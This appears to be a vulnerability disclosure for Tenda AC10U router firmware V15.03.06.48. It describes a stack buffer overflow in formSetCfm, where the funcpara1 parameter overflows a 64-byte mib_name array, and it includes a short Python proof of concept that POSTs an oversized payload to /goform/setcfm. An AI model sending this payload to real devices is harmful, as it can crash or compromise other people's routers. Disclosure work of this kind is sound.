formSetCfm.md

Overview

• Firmware download website: https://www.tendacn.com/download/detail-3170.html

Affected version

AC10U v1.0 Firmware V15.03.06.48

Vulnerability details

The Tenda AC10U v1.0 Firmware V15.03.06.48 has a stack overflow vulnerability located in the formSetCfm function. This function accepts the funcpara1 parameter from a POST request and passes it to the save_list_data function. Within save_list_data, the array mib_name is fixed at 64 bytes. However, since the user has control over the input of funcpara1, the statement sprintf(mib_name, "%s.list%d", list_name, counta); leads to a buffer overflow. The user-supplied funcpara1 can exceed the capacity of the mib_name array, thus triggering this security vulnerability.

POC

import requests as re

s = re.Session()
url_base = 'http://192.168.84.101/'

# Send payload
url = url_base + 'goform/setcfm'
data = {
        'funcname': 'save_list_data', 
        'funcpara1': b'a'*0x500, 
        'funcpara2':'aaaaaa'
}

res = re.post(url, data=data)